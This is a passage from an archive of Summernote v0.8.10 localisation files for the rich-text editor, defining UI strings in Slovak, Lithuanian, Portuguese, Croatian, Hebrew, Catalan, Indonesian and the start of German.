        textFormatting: 'Formatiranje teksta',
        action: 'Akcija',
        paragraphFormatting: 'Formatiranje paragrafa',
        documentStyle: 'Stil dokumenta',
        extraKeys: 'Dodatne kombinacije'
      },
      help: {
        'insertParagraph': 'Insert Paragraph',
        'undo': 'Undoes the last command',
        'redo': 'Redoes the last command',
        'tab': 'Tab',
        'untab': 'Untab',
        'bold': 'Set a bold style',
        'italic': 'Set a italic style',
        'underline': 'Set a underline style',
        'strikethrough': 'Set a strikethrough style',
        'removeFormat': 'Clean a style',
        'justifyLeft': 'Set left align',
        'justifyCenter': 'Set center align',
        'justifyRight': 'Set right align',
        'justifyFull': 'Set full align',
        'insertUnorderedList': 'Toggle unordered list',
        'insertOrderedList': 'Toggle ordered list',
        'outdent': 'Outdent on current paragraph',
        'indent': 'Indent on current paragraph',
        'formatPara': 'Change current block\'s format as a paragraph(P tag)',
        'formatH1': 'Change current block\'s format as H1',
        'formatH2': 'Change current block\'s format as H2',
        'formatH3': 'Change current block\'s format as H3',
        'formatH4': 'Change current block\'s format as H4',
        'formatH5': 'Change current block\'s format as H5',
        'formatH6': 'Change current block\'s format as H6',
        'insertHorizontalRule': 'Insert horizontal rule',
        'linkDialog.show': 'Show Link Dialog'
      },
      history: {
        undo: 'Poništi',
        redo: 'Ponovi'
      },
      specialChar: {
        specialChar: 'SPECIAL CHARACTERS',
        select: 'Select Special characters'
      }
    }
  });
})(jQuery);
lang/summernote-sk-SK.min.js000064400000007111151677331560011747 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */

!function(e){e.extend(e.summernote.lang,{"sk-SK":{font:{bold:"Tučné",italic:"Kurzíva",underline:"Podčiarknutie",clear:"Odstrániť štýl písma",height:"Výška riadku",strikethrough:"Prečiarknuté",subscript:"Subscript",superscript:"Superscript",size:"Veľkosť písma"},image:{image:"Obrázok",insert:"Vložiť obrázok",resizeFull:"Pôvodná veľkosť",resizeHalf:"Polovičná veľkosť",resizeQuarter:"Štvrtinová veľkosť",floatLeft:"Umiestniť doľava",floatRight:"Umiestniť doprava",floatNone:"Bez zarovnania",shapeRounded:"Shape: Rounded",shapeCircle:"Shape: Circle",shapeThumbnail:"Shape: Thumbnail",shapeNone:"Shape: None",dragImageHere:"Pretiahnuť sem obrázok",dropImage:"Drop image or Text",selectFromFiles:"Vybrať súbor",maximumFileSize:"Maximum file size",maximumFileSizeError:"Maximum file size exceeded.",url:"URL obrázku",remove:"Remove Image",original:"Original"},video:{video:"Video",videoLink:"Odkaz videa",insert:"Vložiť video",url:"URL videa?",providers:"(YouTube, Vimeo, Vine, Instagram, DailyMotion alebo Youku)"},link:{link:"Odkaz",insert:"Vytvoriť odkaz",unlink:"Zrušiť odkaz",edit:"Upraviť",textToDisplay:"Zobrazovaný text",url:"Na akú URL adresu má tento odkaz viesť?",openInNewWindow:"Otvoriť v novom okne"},table:{table:"Tabuľka",addRowAbove:"Add row above",addRowBelow:"Add row below",addColLeft:"Add column left",addColRight:"Add column right",delRow:"Delete row",delCol:"Delete column",delTable:"Delete table"},hr:{insert:"Vložit vodorovnú čiaru"},style:{style:"Štýl",p:"Normálny",blockquote:"Citácia",pre:"Kód",h1:"Nadpis 1",h2:"Nadpis 2",h3:"Nadpis 3",h4:"Nadpis 4",h5:"Nadpis 5",h6:"Nadpis 6"},lists:{unordered:"Odrážkový zoznam",ordered:"Číselný zoznam"},options:{help:"Pomoc",fullscreen:"Celá obrazovka",codeview:"HTML kód"},paragraph:{paragraph:"Odsek",outdent:"Zväčšiť odsadenie",indent:"Zmenšiť odsadenie",left:"Zarovnať doľava",center:"Zarovnať na stred",right:"Zarovnať doprava",justify:"Zarovnať obojstranne"},color:{recent:"Aktuálna farba",more:"Dalšie farby",background:"Farba pozadia",foreground:"Farba písma",transparent:"Priehľadnosť",setTransparent:"Nastaviť priehľadnosť",reset:"Obnoviť",resetToDefault:"Obnoviť prednastavené"},shortcut:{shortcuts:"Klávesové skratky",close:"Zavrieť",textFormatting:"Formátovanie textu",action:"Akcia",paragraphFormatting:"Formátovanie odseku",documentStyle:"Štýl dokumentu"},help:{insertParagraph:"Insert Paragraph",undo:"Undoes the last command",redo:"Redoes the last command",tab:"Tab",untab:"Untab",bold:"Set a bold style",italic:"Set a italic style",underline:"Set a underline style",strikethrough:"Set a strikethrough style",removeFormat:"Clean a style",justifyLeft:"Set left align",justifyCenter:"Set center align",justifyRight:"Set right align",justifyFull:"Set full align",insertUnorderedList:"Toggle unordered list",insertOrderedList:"Toggle ordered list",outdent:"Outdent on current paragraph",indent:"Indent on current paragraph",formatPara:"Change current block's format as a paragraph(P tag)",formatH1:"Change current block's format as H1",formatH2:"Change current block's format as H2",formatH3:"Change current block's format as H3",formatH4:"Change current block's format as H4",formatH5:"Change current block's format as H5",formatH6:"Change current block's format as H6",insertHorizontalRule:"Insert horizontal rule","linkDialog.show":"Show Link Dialog"},history:{undo:"Krok vzad",redo:"Krok dopredu"},specialChar:{specialChar:"SPECIAL CHARACTERS",select:"Select Special characters"}}})}(jQuery);lang/summernote-lt-LT.min.js000064400000007440151677331560011760 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */

!function(a){a.extend(a.summernote.lang,{"lt-LT":{font:{bold:"Paryškintas",italic:"Kursyvas",underline:"Pabrėžtas",clear:"Be formatavimo",height:"Eilutės aukštis",name:"Šrifto pavadinimas",strikethrough:"Perbrauktas",superscript:"Viršutinis",subscript:"Indeksas",size:"Šrifto dydis"},image:{image:"Paveikslėlis",insert:"Įterpti paveikslėlį",resizeFull:"Pilnas dydis",resizeHalf:"Sumažinti dydį 50%",resizeQuarter:"Sumažinti dydį 25%",floatLeft:"Kairinis lygiavimas",floatRight:"Dešininis lygiavimas",floatNone:"Jokio lygiavimo",shapeRounded:"Forma: apvalūs kraštai",shapeCircle:"Forma: apskritimas",shapeThumbnail:"Forma: miniatiūra",shapeNone:"Forma: jokia",dragImageHere:"Vilkite paveikslėlį čia",dropImage:"Drop image or Text",selectFromFiles:"Pasirinkite failą",maximumFileSize:"Maskimalus failo dydis",maximumFileSizeError:"Maskimalus failo dydis viršytas!",url:"Paveikslėlio URL adresas",remove:"Ištrinti paveikslėlį",original:"Original"},video:{video:"Video",videoLink:"Video Link",insert:"Insert Video",url:"Video URL?",providers:"(YouTube, Vimeo, Vine, Instagram, DailyMotion or Youku)"},link:{link:"Nuoroda",insert:"Įterpti nuorodą",unlink:"Pašalinti nuorodą",edit:"Redaguoti",textToDisplay:"Rodomas tekstas",url:"Koks URL adresas yra susietas?",openInNewWindow:"Atidaryti naujame lange"},table:{table:"Lentelė",addRowAbove:"Add row above",addRowBelow:"Add row below",addColLeft:"Add column left",addColRight:"Add column right",delRow:"Delete row",delCol:"Delete column",delTable:"Delete table"},hr:{insert:"Įterpti horizontalią liniją"},style:{style:"Stilius",p:"pus",blockquote:"Citata",pre:"Kodas",h1:"Antraštė 1",h2:"Antraštė 2",h3:"Antraštė 3",h4:"Antraštė 4",h5:"Antraštė 5",h6:"Antraštė 6"},lists:{unordered:"Suženklintasis sąrašas",ordered:"Sunumeruotas sąrašas"},options:{help:"Pagalba",fullscreen:"Viso ekrano režimas",codeview:"HTML kodo peržiūra"},paragraph:{paragraph:"Pastraipa",outdent:"Sumažinti įtrauką",indent:"Padidinti įtrauką",left:"Kairinė lygiuotė",center:"Centrinė lygiuotė",right:"Dešininė lygiuotė",justify:"Abipusis išlyginimas"},color:{recent:"Paskutinė naudota spalva",more:"Daugiau spalvų",background:"Fono spalva",foreground:"Šrifto spalva",transparent:"Permatoma",setTransparent:"Nustatyti skaidrumo intensyvumą",reset:"Atkurti",resetToDefault:"Atstatyti numatytąją spalvą"},shortcut:{shortcuts:"Spartieji klavišai",close:"Uždaryti",textFormatting:"Teksto formatavimas",action:"Veiksmas",paragraphFormatting:"Pastraipos formatavimas",documentStyle:"Dokumento stilius",extraKeys:"Papildomi klavišų deriniai"},help:{insertParagraph:"Insert Paragraph",undo:"Undoes the last command",redo:"Redoes the last command",tab:"Tab",untab:"Untab",bold:"Set a bold style",italic:"Set a italic style",underline:"Set a underline style",strikethrough:"Set a strikethrough style",removeFormat:"Clean a style",justifyLeft:"Set left align",justifyCenter:"Set center align",justifyRight:"Set right align",justifyFull:"Set full align",insertUnorderedList:"Toggle unordered list",insertOrderedList:"Toggle ordered list",outdent:"Outdent on current paragraph",indent:"Indent on current paragraph",formatPara:"Change current block's format as a paragraph(P tag)",formatH1:"Change current block's format as H1",formatH2:"Change current block's format as H2",formatH3:"Change current block's format as H3",formatH4:"Change current block's format as H4",formatH5:"Change current block's format as H5",formatH6:"Change current block's format as H6",insertHorizontalRule:"Insert horizontal rule","linkDialog.show":"Show Link Dialog"},history:{undo:"Anuliuoti veiksmą",redo:"Perdaryti veiksmą"},specialChar:{specialChar:"SPECIAL CHARACTERS",select:"Select Special characters"}}})}(jQuery);lang/summernote-pt-BR.js000064400000012156151677331560011166 0ustar00(function($) {
  $.extend($.summernote.lang, {
    'pt-BR': {
      font: {
        bold: 'Negrito',
        italic: 'Itálico',
        underline: 'Sublinhado',
        clear: 'Remover estilo da fonte',
        height: 'Altura da linha',
        name: 'Fonte',
        strikethrough: 'Riscado',
        subscript: 'Subscript',
        superscript: 'Superscript',
        size: 'Tamanho da fonte'
      },
      image: {
        image: 'Imagem',
        insert: 'Inserir imagem',
        resizeFull: 'Redimensionar Completamente',
        resizeHalf: 'Redimensionar pela Metade',
        resizeQuarter: 'Redimensionar um Quarto',
        floatLeft: 'Flutuar para Esquerda',
        floatRight: 'Flutuar para Direira',
        floatNone: 'Não Flutuar',
        shapeRounded: 'Shape: Rounded',
        shapeCircle: 'Shape: Circle',
        shapeThumbnail: 'Shape: Thumbnail',
        shapeNone: 'Shape: None',
        dragImageHere: 'Arraste uma imagem para cá',
        dropImage: 'Drop image or Text',
        selectFromFiles: 'Selecione a partir dos arquivos',
        maximumFileSize: 'Maximum file size',
        maximumFileSizeError: 'Maximum file size exceeded.',
        url: 'URL da imagem',
        remove: 'Remove Image',
        original: 'Original'
      },
      video: {
        video: 'Vídeo',
        videoLink: 'Link para vídeo',
        insert: 'Inserir vídeo',
        url: 'URL do vídeo?',
        providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion ou Youku)'
      },
      link: {
        link: 'Link',
        insert: 'Inserir link',
        unlink: 'Remover link',
        edit: 'Editar',
        textToDisplay: 'Texto para exibir',
        url: 'Para qual URL esse link leva?',
        openInNewWindow: 'Abrir em uma nova janela'
      },
      table: {
        table: 'Tabela',
        addRowAbove: 'Adicionar linha acima',
        addRowBelow: 'Adicionar linha abaixo',
        addColLeft: 'Adicionar coluna a esquerda',
        addColRight: 'Adicionar coluna a direita',
        delRow: 'Excluir linha',
        delCol: 'Excluir coluna',
        delTable: 'Delete table'
      },
      hr: {
        insert: 'Inserir linha horizontal'
      },
      style: {
        style: 'Estilo',
        normal: 'Normal',
        blockquote: 'Citação',
        pre: 'Código',
        h1: 'Título 1',
        h2: 'Título 2',
        h3: 'Título 3',
        h4: 'Título 4',
        h5: 'Título 5',
        h6: 'Título 6'
      },
      lists: {
        unordered: 'Lista com marcadores',
        ordered: 'Lista numerada'
      },
      options: {
        help: 'Ajuda',
        fullscreen: 'Tela cheia',
        codeview: 'Ver código-fonte'
      },
      paragraph: {
        paragraph: 'Parágrafo',
        outdent: 'Menor tabulação',
        indent: 'Maior tabulação',
        left: 'Alinhar à esquerda',
        center: 'Alinhar ao centro',
        right: 'Alinha à direita',
        justify: 'Justificado'
      },
      color: {
        recent: 'Cor recente',
        more: 'Mais cores',
        background: 'Fundo',
        foreground: 'Fonte',
        transparent: 'Transparente',
        setTransparent: 'Fundo transparente',
        reset: 'Restaurar',
        resetToDefault: 'Restaurar padrão'
      },
      shortcut: {
        shortcuts: 'Atalhos do teclado',
        close: 'Fechar',
        textFormatting: 'Formatação de texto',
        action: 'Ação',
        paragraphFormatting: 'Formatação de parágrafo',
        documentStyle: 'Estilo de documento',
        extraKeys: 'Extra keys'
      },
      help: {
        'insertParagraph': 'Inserir Parágrafo',
        'undo': 'Desfazer o último comando',
        'redo': 'Refazer o último comando',
        'tab': 'Tab',
        'untab': 'Desfazer tab',
        'bold': 'Colocar em negrito',
        'italic': 'Colocar em itálico',
        'underline': 'Sublinhado',
        'strikethrough': 'Tachado',
        'removeFormat': 'Remover estilo',
        'justifyLeft': 'Alinhar à esquerda',
        'justifyCenter': 'Centralizar',
        'justifyRight': 'Alinhar à esquerda',
        'justifyFull': 'Justificar',
        'insertUnorderedList': 'Lista não ordenada',
        'insertOrderedList': 'Lista ordenada',
        'outdent': 'Recuar parágrafo atual',
        'indent': 'Avançar parágrafo atual',
        'formatPara': 'Alterar formato do bloco para parágrafo(tag P)',
        'formatH1': 'Alterar formato do bloco para H1',
        'formatH2': 'Alterar formato do bloco para H2',
        'formatH3': 'Alterar formato do bloco para H3',
        'formatH4': 'Alterar formato do bloco para H4',
        'formatH5': 'Alterar formato do bloco para H5',
        'formatH6': 'Alterar formato do bloco para H6',
        'insertHorizontalRule': 'Inserir régua horizontal',
        'linkDialog.show': 'Inserir um Hiperlink'
      },
      history: {
        undo: 'Desfazer',
        redo: 'Refazer'
      },
      specialChar: {
        specialChar: 'SPECIAL CHARACTERS',
        select: 'Select Special characters'
      }
    }
  });
})(jQuery);
lang/summernote-hr-HR.js000064400000011764151677331560011166 0ustar00(function($) {
  $.extend($.summernote.lang, {
    'hr-HR': {
      font: {
        bold: 'Podebljano',
        italic: 'Kurziv',
        underline: 'Podvučeno',
        clear: 'Ukloni stilove fonta',
        height: 'Visina linije',
        name: 'Font Family',
        strikethrough: 'Precrtano',
        subscript: 'Subscript',
        superscript: 'Superscript',
        size: 'Veličina fonta'
      },
      image: {
        image: 'Slika',
        insert: 'Ubaci sliku',
        resizeFull: 'Puna veličina',
        resizeHalf: 'Umanji na 50%',
        resizeQuarter: 'Umanji na 25%',
        floatLeft: 'Poravnaj lijevo',
        floatRight: 'Poravnaj desno',
        floatNone: 'Bez poravnanja',
        shapeRounded: 'Shape: Rounded',
        shapeCircle: 'Shape: Circle',
        shapeThumbnail: 'Shape: Thumbnail',
        shapeNone: 'Shape: None',
        dragImageHere: 'Povuci sliku ovdje',
        dropImage: 'Drop image or Text',
        selectFromFiles: 'Izaberi iz datoteke',
        maximumFileSize: 'Maximum file size',
        maximumFileSizeError: 'Maximum file size exceeded.',
        url: 'Adresa slike',
        remove: 'Ukloni sliku',
        original: 'Original'
      },
      video: {
        video: 'Video',
        videoLink: 'Veza na video',
        insert: 'Ubaci video',
        url: 'URL video',
        providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion ili Youku)'
      },
      link: {
        link: 'Veza',
        insert: 'Ubaci vezu',
        unlink: 'Ukloni vezu',
        edit: 'Uredi',
        textToDisplay: 'Tekst za prikaz',
        url: 'Internet adresa',
        openInNewWindow: 'Otvori u novom prozoru'
      },
      table: {
        table: 'Tablica',
        addRowAbove: 'Add row above',
        addRowBelow: 'Add row below',
        addColLeft: 'Add column left',
        addColRight: 'Add column right',
        delRow: 'Delete row',
        delCol: 'Delete column',
        delTable: 'Delete table'
      },
      hr: {
        insert: 'Ubaci horizontalnu liniju'
      },
      style: {
        style: 'Stil',
        p: 'pni',
        blockquote: 'Citat',
        pre: 'Kôd',
        h1: 'Naslov 1',
        h2: 'Naslov 2',
        h3: 'Naslov 3',
        h4: 'Naslov 4',
        h5: 'Naslov 5',
        h6: 'Naslov 6'
      },
      lists: {
        unordered: 'Obična lista',
        ordered: 'Numerirana lista'
      },
      options: {
        help: 'Pomoć',
        fullscreen: 'Preko cijelog ekrana',
        codeview: 'Izvorni kôd'
      },
      paragraph: {
        paragraph: 'Paragraf',
        outdent: 'Smanji uvlačenje',
        indent: 'Povećaj uvlačenje',
        left: 'Poravnaj lijevo',
        center: 'Centrirano',
        right: 'Poravnaj desno',
        justify: 'Poravnaj obostrano'
      },
      color: {
        recent: 'Posljednja boja',
        more: 'Više boja',
        background: 'Boja pozadine',
        foreground: 'Boja teksta',
        transparent: 'Prozirna',
        setTransparent: 'Prozirna',
        reset: 'Poništi',
        resetToDefault: 'Podrazumijevana'
      },
      shortcut: {
        shortcuts: 'Prečice s tipkovnice',
        close: 'Zatvori',
        textFormatting: 'Formatiranje teksta',
        action: 'Akcija',
        paragraphFormatting: 'Formatiranje paragrafa',
        documentStyle: 'Stil dokumenta',
        extraKeys: 'Dodatne kombinacije'
      },
      help: {
        'insertParagraph': 'Insert Paragraph',
        'undo': 'Undoes the last command',
        'redo': 'Redoes the last command',
        'tab': 'Tab',
        'untab': 'Untab',
        'bold': 'Set a bold style',
        'italic': 'Set a italic style',
        'underline': 'Set a underline style',
        'strikethrough': 'Set a strikethrough style',
        'removeFormat': 'Clean a style',
        'justifyLeft': 'Set left align',
        'justifyCenter': 'Set center align',
        'justifyRight': 'Set right align',
        'justifyFull': 'Set full align',
        'insertUnorderedList': 'Toggle unordered list',
        'insertOrderedList': 'Toggle ordered list',
        'outdent': 'Outdent on current paragraph',
        'indent': 'Indent on current paragraph',
        'formatPara': 'Change current block\'s format as a paragraph(P tag)',
        'formatH1': 'Change current block\'s format as H1',
        'formatH2': 'Change current block\'s format as H2',
        'formatH3': 'Change current block\'s format as H3',
        'formatH4': 'Change current block\'s format as H4',
        'formatH5': 'Change current block\'s format as H5',
        'formatH6': 'Change current block\'s format as H6',
        'insertHorizontalRule': 'Insert horizontal rule',
        'linkDialog.show': 'Show Link Dialog'
      },
      history: {
        undo: 'Poništi',
        redo: 'Ponovi'
      },
      specialChar: {
        specialChar: 'SPECIAL CHARACTERS',
        select: 'Select Special characters'
      }
    }
  });
})(jQuery);
lang/summernote-he-IL.min.js000064400000007413151677331560011722 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */

!function(e){e.extend(e.summernote.lang,{"he-IL":{font:{bold:"מודגש",italic:"נטוי",underline:"קו תחתון",clear:"נקה עיצוב",height:"גובה",name:"גופן",strikethrough:"קו חוצה",subscript:"כתב תחתי",superscript:"כתב עילי",size:"גודל גופן"},image:{image:"תמונה",insert:"הוסף תמונה",resizeFull:"גודל מלא",resizeHalf:"להקטין לחצי",resizeQuarter:"להקטין לרבע",floatLeft:"יישור לשמאל",floatRight:"יישור לימין",floatNone:"ישר",shapeRounded:"Shape: Rounded",shapeCircle:"Shape: Circle",shapeThumbnail:"Shape: Thumbnail",shapeNone:"Shape: None",dragImageHere:"גרור תמונה לכאן",dropImage:"Drop image or Text",selectFromFiles:"בחר מתוך קבצים",maximumFileSize:"Maximum file size",maximumFileSizeError:"Maximum file size exceeded.",url:"נתיב לתמונה",remove:"הסר תמונה",original:"Original"},video:{video:"סרטון",videoLink:"קישור לסרטון",insert:"הוסף סרטון",url:"קישור לסרטון",providers:"(YouTube, Vimeo, Vine, Instagram, DailyMotion או Youku)"},link:{link:"קישור",insert:"הוסף קישור",unlink:"הסר קישור",edit:"ערוך",textToDisplay:"טקסט להציג",url:"קישור",openInNewWindow:"פתח בחלון חדש"},table:{table:"טבלה",addRowAbove:"Add row above",addRowBelow:"Add row below",addColLeft:"Add column left",addColRight:"Add column right",delRow:"Delete row",delCol:"Delete column",delTable:"Delete table"},hr:{insert:"הוסף קו"},style:{style:"עיצוב",p:"טקסט רגיל",blockquote:"ציטוט",pre:"קוד",h1:"כותרת 1",h2:"כותרת 2",h3:"כותרת 3",h4:"כותרת 4",h5:"כותרת 5",h6:"כותרת 6"},lists:{unordered:"רשימת תבליטים",ordered:"רשימה ממוספרת"},options:{help:"עזרה",fullscreen:"מסך מלא",codeview:"תצוגת קוד"},paragraph:{paragraph:"פסקה",outdent:"הקטן כניסה",indent:"הגדל כניסה",left:"יישור לשמאל",center:"יישור למרכז",right:"יישור לימין",justify:"מיושר"},color:{recent:"צבע טקסט אחרון",more:"עוד צבעים",background:"צבע רקע",foreground:"צבע טקסט",transparent:"שקוף",setTransparent:"קבע כשקוף",reset:"איפוס",resetToDefault:"אפס לברירת מחדל"},shortcut:{shortcuts:"קיצורי מקלדת",close:"סגור",textFormatting:"עיצוב הטקסט",action:"פעולה",paragraphFormatting:"סגנונות פסקה",documentStyle:"עיצוב המסמך",extraKeys:"קיצורים נוספים"},help:{insertParagraph:"Insert Paragraph",undo:"Undoes the last command",redo:"Redoes the last command",tab:"Tab",untab:"Untab",bold:"Set a bold style",italic:"Set a italic style",underline:"Set a underline style",strikethrough:"Set a strikethrough style",removeFormat:"Clean a style",justifyLeft:"Set left align",justifyCenter:"Set center align",justifyRight:"Set right align",justifyFull:"Set full align",insertUnorderedList:"Toggle unordered list",insertOrderedList:"Toggle ordered list",outdent:"Outdent on current paragraph",indent:"Indent on current paragraph",formatPara:"Change current block's format as a paragraph(P tag)",formatH1:"Change current block's format as H1",formatH2:"Change current block's format as H2",formatH3:"Change current block's format as H3",formatH4:"Change current block's format as H4",formatH5:"Change current block's format as H5",formatH6:"Change current block's format as H6",insertHorizontalRule:"Insert horizontal rule","linkDialog.show":"Show Link Dialog"},history:{undo:"בטל פעולה",redo:"בצע שוב"},specialChar:{specialChar:"SPECIAL CHARACTERS",select:"Select Special characters"}}})}(jQuery);lang/summernote-ca-ES.min.js000064400000007337151677331560011721 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */

!function(e){e.extend(e.summernote.lang,{"ca-ES":{font:{bold:"Negreta",italic:"Cursiva",underline:"Subratllat",clear:"Treure estil de lletra",height:"Alçada de línia",name:"Font",strikethrough:"Ratllat",subscript:"Subíndex",superscript:"Superíndex",size:"Mida de lletra"},image:{image:"Imatge",insert:"Inserir imatge",resizeFull:"Redimensionar a mida completa",resizeHalf:"Redimensionar a la meitat",resizeQuarter:"Redimensionar a un quart",floatLeft:"Alinear a l'esquerra",floatRight:"Alinear a la dreta",floatNone:"No alinear",shapeRounded:"Forma: Arrodonit",shapeCircle:"Forma: Cercle",shapeThumbnail:"Forma: Marc",shapeNone:"Forma: Cap",dragImageHere:"Arrossegueu una imatge o text aquí",dropImage:"Deixa anar aquí una imatge o un text",selectFromFiles:"Seleccioneu des dels arxius",maximumFileSize:"Mida màxima de l'arxiu",maximumFileSizeError:"La mida màxima de l'arxiu s'ha superat.",url:"URL de la imatge",remove:"Eliminar imatge",original:"Original"},video:{video:"Vídeo",videoLink:"Enllaç del vídeo",insert:"Inserir vídeo",url:"URL del vídeo?",providers:"(YouTube, Vimeo, Vine, Instagram, DailyMotion o Youku)"},link:{link:"Enllaç",insert:"Inserir enllaç",unlink:"Treure enllaç",edit:"Editar",textToDisplay:"Text per mostrar",url:"Cap a quina URL porta l'enllaç?",openInNewWindow:"Obrir en una finestra nova"},table:{table:"Taula",addRowAbove:"Add row above",addRowBelow:"Add row below",addColLeft:"Add column left",addColRight:"Add column right",delRow:"Delete row",delCol:"Delete column",delTable:"Delete table"},hr:{insert:"Inserir línia horitzontal"},style:{style:"Estil",p:"p",blockquote:"Cita",pre:"Codi",h1:"Títol 1",h2:"Títol 2",h3:"Títol 3",h4:"Títol 4",h5:"Títol 5",h6:"Títol 6"},lists:{unordered:"Llista desendreçada",ordered:"Llista endreçada"},options:{help:"Ajut",fullscreen:"Pantalla sencera",codeview:"Veure codi font"},paragraph:{paragraph:"Paràgraf",outdent:"Menys tabulació",indent:"Més tabulació",left:"Alinear a l'esquerra",center:"Alinear al mig",right:"Alinear a la dreta",justify:"Justificar"},color:{recent:"Últim color",more:"Més colors",background:"Color de fons",foreground:"Color de lletra",transparent:"Transparent",setTransparent:"Establir transparent",reset:"Restablir",resetToDefault:"Restablir per defecte"},shortcut:{shortcuts:"Dreceres de teclat",close:"Tancar",textFormatting:"Format de text",action:"Acció",paragraphFormatting:"Format de paràgraf",documentStyle:"Estil del document",extraKeys:"Tecles adicionals"},help:{insertParagraph:"Inserir paràgraf",undo:"Desfer l'última acció",redo:"Refer l'última acció",tab:"Tabular",untab:"Eliminar tabulació",bold:"Establir estil negreta",italic:"Establir estil cursiva",underline:"Establir estil subratllat",strikethrough:"Establir estil ratllat",removeFormat:"Netejar estil",justifyLeft:"Alinear a l'esquerra",justifyCenter:"Alinear al centre",justifyRight:"Alinear a la dreta",justifyFull:"Justificar",insertUnorderedList:"Inserir llista desendreçada",insertOrderedList:"Inserir llista endreçada",outdent:"Reduïr tabulació del paràgraf",indent:"Augmentar tabulació del paràgraf",formatPara:"Canviar l'estil del bloc com a un paràgraf (etiqueta P)",formatH1:"Canviar l'estil del bloc com a un H1",formatH2:"Canviar l'estil del bloc com a un H2",formatH3:"Canviar l'estil del bloc com a un H3",formatH4:"Canviar l'estil del bloc com a un H4",formatH5:"Canviar l'estil del bloc com a un H5",formatH6:"Canviar l'estil del bloc com a un H6",insertHorizontalRule:"Inserir una línia horitzontal","linkDialog.show":"Mostrar panel d'enllaços"},history:{undo:"Desfer",redo:"Refer"},specialChar:{specialChar:"CARÀCTERS ESPECIALS",select:"Selecciona caràcters especials"}}})}(jQuery);lang/summernote-id-ID.js000064400000011630151677331560011124 0ustar00(function($) {
  $.extend($.summernote.lang, {
    'id-ID': {
      font: {
        bold: 'Tebal',
        italic: 'Miring',
        underline: 'Garis bawah',
        clear: 'Bersihkan gaya',
        height: 'Jarak baris',
        name: 'Font Family',
        strikethrough: 'Coret',
        subscript: 'Subscript',
        superscript: 'Superscript',
        size: 'Ukuran font'
      },
      image: {
        image: 'Gambar',
        insert: 'Sisipkan gambar',
        resizeFull: 'Ukuran penuh',
        resizeHalf: 'Ukuran 50%',
        resizeQuarter: 'Ukuran 25%',
        floatLeft: 'Rata kiri',
        floatRight: 'Rata kanan',
        floatNone: 'Tidak ada perataan',
        shapeRounded: 'Shape: Rounded',
        shapeCircle: 'Shape: Circle',
        shapeThumbnail: 'Shape: Thumbnail',
        shapeNone: 'Shape: None',
        dragImageHere: 'Tarik gambar pada area ini',
        dropImage: 'Drop image or Text',
        selectFromFiles: 'Pilih gambar dari berkas',
        maximumFileSize: 'Maximum file size',
        maximumFileSizeError: 'Maximum file size exceeded.',
        url: 'URL gambar',
        remove: 'Hapus Gambar',
        original: 'Original'
      },
      video: {
        video: 'Video',
        videoLink: 'Link video',
        insert: 'Sisipkan video',
        url: 'Tautan video',
        providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion atau Youku)'
      },
      link: {
        link: 'Tautan',
        insert: 'Tambah tautan',
        unlink: 'Hapus tautan',
        edit: 'Edit',
        textToDisplay: 'Tampilan teks',
        url: 'Tautan tujuan',
        openInNewWindow: 'Buka di jendela baru'
      },
      table: {
        table: 'Tabel',
        addRowAbove: 'Add row above',
        addRowBelow: 'Add row below',
        addColLeft: 'Add column left',
        addColRight: 'Add column right',
        delRow: 'Delete row',
        delCol: 'Delete column',
        delTable: 'Delete table'
      },
      hr: {
        insert: 'Masukkan garis horizontal'
      },
      style: {
        style: 'Gaya',
        p: 'p',
        blockquote: 'Kutipan',
        pre: 'Kode',
        h1: 'Heading 1',
        h2: 'Heading 2',
        h3: 'Heading 3',
        h4: 'Heading 4',
        h5: 'Heading 5',
        h6: 'Heading 6'
      },
      lists: {
        unordered: 'Pencacahan',
        ordered: 'Penomoran'
      },
      options: {
        help: 'Bantuan',
        fullscreen: 'Layar penuh',
        codeview: 'Kode HTML'
      },
      paragraph: {
        paragraph: 'Paragraf',
        outdent: 'Outdent',
        indent: 'Indent',
        left: 'Rata kiri',
        center: 'Rata tengah',
        right: 'Rata kanan',
        justify: 'Rata kanan kiri'
      },
      color: {
        recent: 'Warna sekarang',
        more: 'Selengkapnya',
        background: 'Warna latar',
        foreground: 'Warna font',
        transparent: 'Transparan',
        setTransparent: 'Atur transparansi',
        reset: 'Atur ulang',
        resetToDefault: 'Kembalikan kesemula'
      },
      shortcut: {
        shortcuts: 'Jalan pintas',
        close: 'Keluar',
        textFormatting: 'Format teks',
        action: 'Aksi',
        paragraphFormatting: 'Format paragraf',
        documentStyle: 'Gaya dokumen',
        extraKeys: 'Extra keys'
      },
      help: {
        'insertParagraph': 'Insert Paragraph',
        'undo': 'Undoes the last command',
        'redo': 'Redoes the last command',
        'tab': 'Tab',
        'untab': 'Untab',
        'bold': 'Set a bold style',
        'italic': 'Set a italic style',
        'underline': 'Set a underline style',
        'strikethrough': 'Set a strikethrough style',
        'removeFormat': 'Clean a style',
        'justifyLeft': 'Set left align',
        'justifyCenter': 'Set center align',
        'justifyRight': 'Set right align',
        'justifyFull': 'Set full align',
        'insertUnorderedList': 'Toggle unordered list',
        'insertOrderedList': 'Toggle ordered list',
        'outdent': 'Outdent on current paragraph',
        'indent': 'Indent on current paragraph',
        'formatPara': 'Change current block\'s format as a paragraph(P tag)',
        'formatH1': 'Change current block\'s format as H1',
        'formatH2': 'Change current block\'s format as H2',
        'formatH3': 'Change current block\'s format as H3',
        'formatH4': 'Change current block\'s format as H4',
        'formatH5': 'Change current block\'s format as H5',
        'formatH6': 'Change current block\'s format as H6',
        'insertHorizontalRule': 'Insert horizontal rule',
        'linkDialog.show': 'Show Link Dialog'
      },
      history: {
        undo: 'Kembali',
        redo: 'Ulang'
      },
      specialChar: {
        specialChar: 'SPECIAL CHARACTERS',
        select: 'Select Special characters'
      }
    }
  });
})(jQuery);
lang/summernote-de-DE.js000064400000012176151677331560011122 0ustar00(function($) {
  $.extend($.summernote.lang, {
    'de-DE': {
      font: {
        bold: 'Fett',
        italic: 'Kursiv',
        underline: 'Unterstreichen',
        clear: 'Zurücksetzen',
        height: 'Zeilenhöhe',
        name: 'Schriftart',
        strikethrough: 'Durchgestrichen',
        subscript: 'Tiefgestellt',
        superscript: 'Hochgestellt',
        size: 'Schriftgröße'
      },
      image: {
        image: 'Grafik',
